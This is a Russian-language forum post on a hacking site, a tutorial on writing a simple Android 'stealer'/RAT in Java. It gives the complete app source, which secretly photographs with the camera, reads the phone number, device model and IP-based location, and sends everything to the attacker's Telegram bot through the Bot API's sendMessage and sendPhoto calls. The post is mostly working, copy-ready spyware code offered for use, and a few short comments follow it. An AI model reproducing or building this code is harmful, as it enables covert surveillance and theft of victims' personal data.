What's new
Runion

This is a sample guest message. Register a free account today to become a member! Once signed in, you'll be able to participate on this site by adding your own topics and posts, as well as connect with other members through your own private inbox!

Получаем данные телефона - простой rat

zebra0_0

Light Weight
Депозит
$0
Привет, решил написать статью про создание простого stealer для android в целях получения фото с камеры + данных о телефоне.

В процессе этой небольшой статьи я расскажу а главное покажу как создать steler который будет получать такие данные как: Модель телефона, Место где телефон находится(Точная странна и предположительный город) и самое главное что мы получаем номер телефона доступ к камере.

Создание:
Для начала важно сказать что всё будет на писано на Java, без использования сервера так как данные будет идти напрямую через тг бот по user id.

Инициализация Telegram-бота

В вашем коде Telegram-бот инициализируется и используется для отправки сообщений.
Всё что вам нужно написать в строке BOT_TOKEN токен вашего бота а в строке CHAT_ID ваш chat id.

Код: Скопировать в буфер обмена
Code:
 private static final String BOT_TOKEN = "Токен бота";
 private static final String CHAT_ID = "chat id";

Ваш chat id можно узнать написав вашему боту сообщение а потом перейдя по данной ссылке: https://api.telegram.org/bot<Токен вашего бота>/getUpdates
Там вам нужно найти строку "chat": "id" после которых будет идти ваш chad id.

Разрешения:
1. Чтоб получить доступ к нужным функциям для начало нужно прописать uses-permission в файле AndroidManifest.xml
Разрешения:

XML: Скопировать в буфер обмена
Code:
 <uses-permission android:name="android.permission.INTERNET" />
 <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
 <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
 <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
 <uses-permission android:name="android.permission.READ_SMS"/>
 <uses-permission android:name="android.permission.READ_PHONE_NUMBERS"/>
 <uses-permission android:name="android.permission.CAMERA" />

2. Далее надо прописать запрос разрешений в java коде, в моём случае это MainActivity.java:

Java: Скопировать в буфер обмена
Code:
  if (ContextCompat.checkSelfPermission(this, Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED ||
    ContextCompat.checkSelfPermission(this, Manifest.permission.READ_PHONE_STATE) != PackageManager.PERMISSION_GRANTED) {
   ActivityCompat.requestPermissions(this,
     new String[]{Manifest.permission.CAMERA, Manifest.permission.READ_PHONE_STATE},
     PERMISSION_REQUEST_CODE);
  } else {
   startBackgroundThread();
   openCamera();
  }

Рабата с камерой:
1. Захват изображения
Для захвата изображения нам надо:
  • Получаем список доступных камер через CameraManager.
  • Открыть первую камеру(Основная) либо вторую если вам нужна фронталка.
  • Настраиваем ImageReader, который будет получать изображения с камеры в формате JPEG.
  • Запускаем фоновый поток для захвата изображения.
Код:
Java: Скопировать в буфер обмена
Code:
private void openCamera() {
 CameraManager manager = (CameraManager) getSystemService(CAMERA_SERVICE);
 try {
  String cameraId = manager.getCameraIdList()[0]; // Открываем первую камеру
  Size[] sizes = manager.getCameraCharacteristics(cameraId)
    .get(android.hardware.camera2.CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP)
    .getOutputSizes(ImageReader.class);
  imageReader = ImageReader.newInstance(sizes[0].getWidth(), sizes[0].getHeight(), android.graphics.ImageFormat.JPEG, 1);
  imageReader.setOnImageAvailableListener(onImageAvailableListener, backgroundHandler);

  if (ActivityCompat.checkSelfPermission(this, Manifest.permission.CAMERA) == PackageManager.PERMISSION_GRANTED) {
   manager.openCamera(cameraId, stateCallback, backgroundHandler);
  }
 } catch (CameraAccessException e) {
  e.printStackTrace();
 }
}

Когда изображение будет доступно вызываем метод onImageAvailableListener для его обработки

2. Cохраняем изображение
В далее идущем коде показан метод который сохраняет полученные байты изображения в файл.Далее он создает файл photo.jpg в каталоге кеша приложения и записывает туда данные. После записи возвращает файл для дальнейшего использования.

Код:
Java: Скопировать в буфер обмена
Code:
private File saveImageToFile(byte[] bytes) {
 File file = new File(getCacheDir(), "photo.jpg");
 try (FileOutputStream fos = new FileOutputStream(file)) {
  fos.write(bytes);
  return file;
 } catch (IOException e) {
  e.printStackTrace();
 }
 return null;
}

Получение информации о местоположении по IP

Метод делает HTTP-запрос к API https://ipinfo.io/json, чтобы получить информацию о текущем местоположении устройства на основе IP-адреса. Ответ от сервера в формате JSON содержит такие поля, как город (city) и страна (country). Эти значения извлекаются и возвращаются как строка. Если запрос не удается, возвращается сообщение об ошибке.

Код:
Java: Скопировать в буфер обмена
Code:
private String getLocationFromIP() {

 OkHttpClient client = new OkHttpClient();

 Request request = new Request.Builder()

   .url("https://ipinfo.io/json")

   .build();



 try {

  Response response = client.newCall(request).execute();

  if (response.isSuccessful()) {

   String json = response.body().string();

   JSONObject jsonObject = new JSONObject(json);



   // Проверяем наличие данных о городе и стране

   String city = jsonObject.optString("city", "Неизвестный город");

   String country = jsonObject.optString("country", "Неизвестная страна");



   return city + ", " + country;

  } else {

   Log.e("LocationError", "Response unsuccessful: " + response.code());

  }

 } catch (IOException | JSONException e) {

  e.printStackTrace();

  Log.e("LocationError", "Error getting location: " + e.getMessage());

 }

 return "Не удалось определить местоположение";

}

Отправка данных в Telegram

Java: Скопировать в буфер обмена
Code:
private void sendDeviceInfo(File photoFile) {
 String phoneNumber = getPhoneNumber();
 String manufacturer = android.os.Build.MANUFACTURER;
 String model = android.os.Build.MODEL;
 String version = android.os.Build.VERSION.RELEASE;

 String location = getLocationFromIP();

 String message = "Телефон: " + (phoneNumber != null ? phoneNumber : "Не доступен") + "\n" +
   "Устройство: " + manufacturer + " " + model + "\n" +
   "Версия Android: " + version + "\n" +
   "Местоположение: " + location;

 sendMessageToTelegram(message, photoFile);
}

Этот метод формирует сообщение, которое отправляется в Telegram. Он:

  1. Получает информацию о телефоне (номер телефона, производитель, модель, версия Android).
  2. Получает местоположение устройства (город и страна) с помощью метода getLocationFromIP().
  3. Формирует строку сообщения, которое отправляется в Telegram
Отправка сообщения и фотографии в Telegram

Java: Скопировать в буфер обмена
Code:
private void sendMessageToTelegram(String message, File photoFile) {
 OkHttpClient client = new OkHttpClient();

 // Отправка текстового сообщения
 RequestBody formBody = new MultipartBody.Builder()
   .setType(MultipartBody.FORM)
   .addFormDataPart("chat_id", CHAT_ID)
   .addFormDataPart("text", message)
   .build();

 Request request = new Request.Builder()
   .url("https://api.telegram.org/bot" + BOT_TOKEN + "/sendMessage")
   .post(formBody)
   .build();

 client.newCall(request).enqueue(new Callback() {
  @Override
  public void onFailure(Call call, IOException e) {
   Log.e("Telegram", "Failed to send message: " + e.getMessage());
  }

  @Override
  public void onResponse(Call call, Response response) throws IOException {
   if (!response.isSuccessful()) {
    Log.e("Telegram", "Failed to send message: " + response.message());
   }
  }
 });

 // Отправка фото
 RequestBody photoBody = new MultipartBody.Builder()
   .setType(MultipartBody.FORM)
   .addFormDataPart("chat_id", CHAT_ID)
   .addFormDataPart("photo", photoFile.getName(),
     RequestBody.create(photoFile, okhttp3.MediaType.parse("image/jpeg")))
   .build();

 Request photoRequest = new Request.Builder()
   .url("https://api.telegram.org/bot" + BOT_TOKEN + "/sendPhoto")
   .post(photoBody)
   .build();

 client.newCall(photoRequest).enqueue(new Callback() {
  @Override
  public void onFailure(Call call, IOException e) {
   Log.e("Telegram", "Failed to send photo: " + e.getMessage());
  }

  @Override
  public void onResponse(Call call, Response response) throws IOException {
   if (!response.isSuccessful()) {
    Log.e("Telegram", "Failed to send photo: " + response.message());
   }
  }
 });
}

Метод отправляет два типа данных в Telegram:

  1. Текстовое сообщение: Оно содержит информацию о телефоне, устройстве, версии Android и местоположении.
  2. Фотографию: Файл с изображением отправляется с использованием того же Telegram Bot API.
Для отправки используются два различных запроса:

  • Один для текстового сообщения (sendMessage).
  • Другой для отправки фотографии (sendPhoto).
Фоновый поток для работы с камерой

Java: Скопировать в буфер обмена
Code:
private void startBackgroundThread() {
 backgroundThread = new HandlerThread("CameraBackground");
 backgroundThread.start();
 backgroundHandler = new Handler(backgroundThread.getLooper());
}

private void stopBackgroundThread() {
 if (backgroundThread != null) {
  backgroundThread.quitSafely();
  try {
   backgroundThread.join();
   backgroundThread = null;
   backgroundHandler = null;
  } catch (InterruptedException e) {
   e.printStackTrace();
  }
 }
}

Эти методы запускают и останавливают фоновый поток для работы с камерой. Фоновый поток необходим для выполнения долгих операций (например, захват изображений), чтобы они не блокировали основной поток приложения. Метод startBackgroundThread() запускает новый поток, а stopBackgroundThread() завершает его безопасно.

Общий принцип работы:

  1. Пользователь запускает приложение, и система проверяет разрешения для доступа к камере и телефону.
  2. После получения разрешений открывается камера и начинается захват изображений.
  3. Когда фотография сделана, она сохраняется в файл, а затем отправляется в Telegram вместе с системной информацией (например, номер телефона, модель устройства) и местоположением (полученным по IP
Код целиком:
Java: Скопировать в буфер обмена
Code:
package com.example.myapplication;

import android.Manifest;
import android.content.pm.PackageManager;
import android.graphics.Bitmap;
import android.hardware.camera2.CameraAccessException;
import android.hardware.camera2.CameraCaptureSession;
import android.hardware.camera2.CameraDevice;
import android.hardware.camera2.CameraManager;
import android.hardware.camera2.CameraMetadata;
import android.hardware.camera2.CaptureRequest;
import android.media.Image;
import android.media.ImageReader;
import android.os.Bundle;
import android.os.Handler;
import android.os.HandlerThread;
import android.telephony.TelephonyManager;
import android.util.Log;
import android.util.Size;
import android.view.Surface;
import android.widget.Toast;

import androidx.annotation.NonNull;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.app.ActivityCompat;
import androidx.core.content.ContextCompat;

import org.json.JSONException;
import org.json.JSONObject;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.nio.ByteBuffer;
import java.util.Arrays;

import okhttp3.Call;
import okhttp3.Callback;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;
import okhttp3.MultipartBody;
import okhttp3.RequestBody;

public class MainActivity extends AppCompatActivity {

 private static final int PERMISSION_REQUEST_CODE = 1;
 private static final String BOT_TOKEN = "Токен бота";
 private static final String CHAT_ID = "Chat id";

 private CameraDevice cameraDevice;
 private ImageReader imageReader;
 private Handler backgroundHandler;
 private HandlerThread backgroundThread;

 @Override
 protected void onCreate(Bundle savedInstanceState) {
  super.onCreate(savedInstanceState);
  setContentView(R.layout.activity_main);

  checkAndRequestPermissions();
 }

 private void checkAndRequestPermissions() {
  if (ContextCompat.checkSelfPermission(this, Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED ||
    ContextCompat.checkSelfPermission(this, Manifest.permission.READ_PHONE_STATE) != PackageManager.PERMISSION_GRANTED) {
   ActivityCompat.requestPermissions(this,
     new String[]{Manifest.permission.CAMERA, Manifest.permission.READ_PHONE_STATE},
     PERMISSION_REQUEST_CODE);
  } else {
   startBackgroundThread();
   openCamera();
  }
 }

 @Override
 public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
  super.onRequestPermissionsResult(requestCode, permissions, grantResults);
  if (requestCode == PERMISSION_REQUEST_CODE) {
   if (grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
    startBackgroundThread();
    openCamera();
   } else {
    Toast.makeText(this, "Разрешения не предоставлены", Toast.LENGTH_SHORT).show();
   }
  }
 }

 private void openCamera() {
  CameraManager manager = (CameraManager) getSystemService(CAMERA_SERVICE);
  try {
   String cameraId = manager.getCameraIdList()[0]; // Открываем первую камеру
   Size[] sizes = manager.getCameraCharacteristics(cameraId)
     .get(android.hardware.camera2.CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP)
     .getOutputSizes(ImageReader.class);
   imageReader = ImageReader.newInstance(sizes[0].getWidth(), sizes[0].getHeight(), android.graphics.ImageFormat.JPEG, 1);
   imageReader.setOnImageAvailableListener(onImageAvailableListener, backgroundHandler);

   if (ActivityCompat.checkSelfPermission(this, Manifest.permission.CAMERA) == PackageManager.PERMISSION_GRANTED) {
    manager.openCamera(cameraId, stateCallback, backgroundHandler);
   }
  } catch (CameraAccessException e) {
   e.printStackTrace();
  }
 }

 private final CameraDevice.StateCallback stateCallback = new CameraDevice.StateCallback() {
  @Override
  public void onOpened(@NonNull CameraDevice camera) {
   cameraDevice = camera;
   createCameraCaptureSession();
  }

  @Override
  public void onDisconnected(@NonNull CameraDevice camera) {
   camera.close();
   cameraDevice = null;
  }

  @Override
  public void onError(@NonNull CameraDevice camera, int error) {
   camera.close();
   cameraDevice = null;
  }
 };

 private void createCameraCaptureSession() {
  try {
   Surface surface = imageReader.getSurface();
   CaptureRequest.Builder captureRequestBuilder = cameraDevice.createCaptureRequest(CameraDevice.TEMPLATE_STILL_CAPTURE);
   captureRequestBuilder.addTarget(surface);
   captureRequestBuilder.set(CaptureRequest.CONTROL_MODE, CameraMetadata.CONTROL_MODE_AUTO);

   cameraDevice.createCaptureSession(Arrays.asList(surface), new CameraCaptureSession.StateCallback() {
    @Override
    public void onConfigured(@NonNull CameraCaptureSession session) {
     try {
      session.capture(captureRequestBuilder.build(), null, backgroundHandler);
     } catch (CameraAccessException e) {
      e.printStackTrace();
     }
    }

    @Override
    public void onConfigureFailed(@NonNull CameraCaptureSession session) {
     Log.e("CameraCaptureSession", "Configuration failed");
    }
   }, backgroundHandler);
  } catch (CameraAccessException e) {
   e.printStackTrace();
  }
 }

 private final ImageReader.OnImageAvailableListener onImageAvailableListener = new ImageReader.OnImageAvailableListener() {
  @Override
  public void onImageAvailable(ImageReader reader) {
   Image image = reader.acquireLatestImage();
   if (image != null) {
    ByteBuffer buffer = image.getPlanes()[0].getBuffer();
    byte[] bytes = new byte[buffer.remaining()];
    buffer.get(bytes);
    image.close();

    File photoFile = saveImageToFile(bytes);
    if (photoFile != null) {
     sendDeviceInfo(photoFile);
    }
   }
  }
 };

 private File saveImageToFile(byte[] bytes) {
  File file = new File(getCacheDir(), "photo.jpg");
  try (FileOutputStream fos = new FileOutputStream(file)) {
   fos.write(bytes);
   return file;
  } catch (IOException e) {
   e.printStackTrace();
  }
  return null;
 }

 private void sendDeviceInfo(File photoFile) {
  String phoneNumber = getPhoneNumber();
  String manufacturer = android.os.Build.MANUFACTURER;
  String model = android.os.Build.MODEL;
  String version = android.os.Build.VERSION.RELEASE;

  String location = getLocationFromIP();

  String message = "Телефон: " + (phoneNumber != null ? phoneNumber : "Не доступен") + "\n" +
    "Устройство: " + manufacturer + " " + model + "\n" +
    "Версия Android: " + version + "\n" +
    "Страна и предполагаемый город: " + location;

  sendMessageToTelegram(message, photoFile);
 }

 private String getPhoneNumber() {
  TelephonyManager telephonyManager = (TelephonyManager) getSystemService(TELEPHONY_SERVICE);
  if (ActivityCompat.checkSelfPermission(this, Manifest.permission.READ_PHONE_STATE) == PackageManager.PERMISSION_GRANTED) {
   return telephonyManager.getLine1Number();
  }
  return null;
 }

 private String getLocationFromIP() {
  OkHttpClient client = new OkHttpClient();
  // Используем HTTPS для безопасного запроса
  Request request = new Request.Builder()
    .url("https://ipinfo.io/json")
    .build();

  try {
   Response response = client.newCall(request).execute();
   if (response.isSuccessful()) {
    String json = response.body().string();
    JSONObject jsonObject = new JSONObject(json);

    // Проверяем наличие данных о городе и стране
    String city = jsonObject.optString("city", "Неизвестный город");
    String country = jsonObject.optString("country", "Неизвестная страна");

    Log.d("LocationInfo", "City: " + city + ", Country: " + country);

    return city + ", " + country;
   } else {
    Log.e("LocationError", "Response unsuccessful: " + response.code());
   }
  } catch (IOException e) {
   e.printStackTrace();
   Log.e("LocationError", "IOException: " + e.getMessage());
  } catch (JSONException e) {
   e.printStackTrace();
   Log.e("LocationError", "JSONException: " + e.getMessage());
  }
  return "Не удалось определить местоположение";
 }

 private void sendMessageToTelegram(String message, File photoFile) {
  OkHttpClient client = new OkHttpClient();

  // Отправка текстового сообщения
  RequestBody formBody = new MultipartBody.Builder()
    .setType(MultipartBody.FORM)
    .addFormDataPart("chat_id", CHAT_ID)
    .addFormDataPart("text", message)
    .build();

  Request request = new Request.Builder()
    .url("https://api.telegram.org/bot" + BOT_TOKEN + "/sendMessage")
    .post(formBody)
    .build();

  client.newCall(request).enqueue(new Callback() {
   @Override
   public void onFailure(Call call, IOException e) {
    Log.e("Telegram", "Failed to send message: " + e.getMessage());
   }

   @Override
   public void onResponse(Call call, Response response) throws IOException {
    if (!response.isSuccessful()) {
     Log.e("Telegram", "Failed to send message: " + response.message());
    }
   }
  });

  // Отправка фото
  RequestBody photoBody = new MultipartBody.Builder()
    .setType(MultipartBody.FORM)
    .addFormDataPart("chat_id", CHAT_ID)
    .addFormDataPart("photo", photoFile.getName(),
      RequestBody.create(photoFile, okhttp3.MediaType.parse("image/jpeg")))
    .build();

  Request photoRequest = new Request.Builder()
    .url("https://api.telegram.org/bot" + BOT_TOKEN + "/sendPhoto")
    .post(photoBody)
    .build();

  client.newCall(photoRequest).enqueue(new Callback() {
   @Override
   public void onFailure(Call call, IOException e) {
    Log.e("Telegram", "Failed to send photo: " + e.getMessage());
   }

   @Override
   public void onResponse(Call call, Response response) throws IOException {
    if (!response.isSuccessful()) {
     Log.e("Telegram", "Failed to send photo: " + response.message());
    }
   }
  });
 }

 private void startBackgroundThread() {
  backgroundThread = new HandlerThread("CameraBackground");
  backgroundThread.start();
  backgroundHandler = new Handler(backgroundThread.getLooper());
 }

 @Override
 protected void onPause() {
  super.onPause();
  closeCamera();
  stopBackgroundThread();
 }

 private void closeCamera() {
  if (cameraDevice != null) {
   cameraDevice.close();
   cameraDevice = null;
  }
 }

 private void stopBackgroundThread() {
  if (backgroundThread != null) {
   backgroundThread.quitSafely();
   try {
    backgroundThread.join();
    backgroundThread = null;
    backgroundHandler = null;
   } catch (InterruptedException e) {
    e.printStackTrace();
   }
  }
 }
}


После выполнения кода вам придёт лог следующего вида:

Спасибо за внимание! Надеюсь статья была полезной.
С радостью отвечу на любые вопросы или предложения в комментариях.
 
>Получение информации о местоположении по IP
>Метод делает HTTP-запрос к API https://ipinfo.io/json, чтобы получить информацию о текущем местоположении устройства на основе >IP-адреса

Тыркнул https://ipinfo.io/json , открылась новая вкладка с координатами.
При подставлении координат в гугол карты, отклонение от факта составило 767 метров
Критично ли это ?
 
Очень классный инструмент, спасибо. есть ли у вас формат файла для этого кода?
 
Вам код файлом кинуть? Если нет то объясните пожалуйста что вы имели в виду
 
Top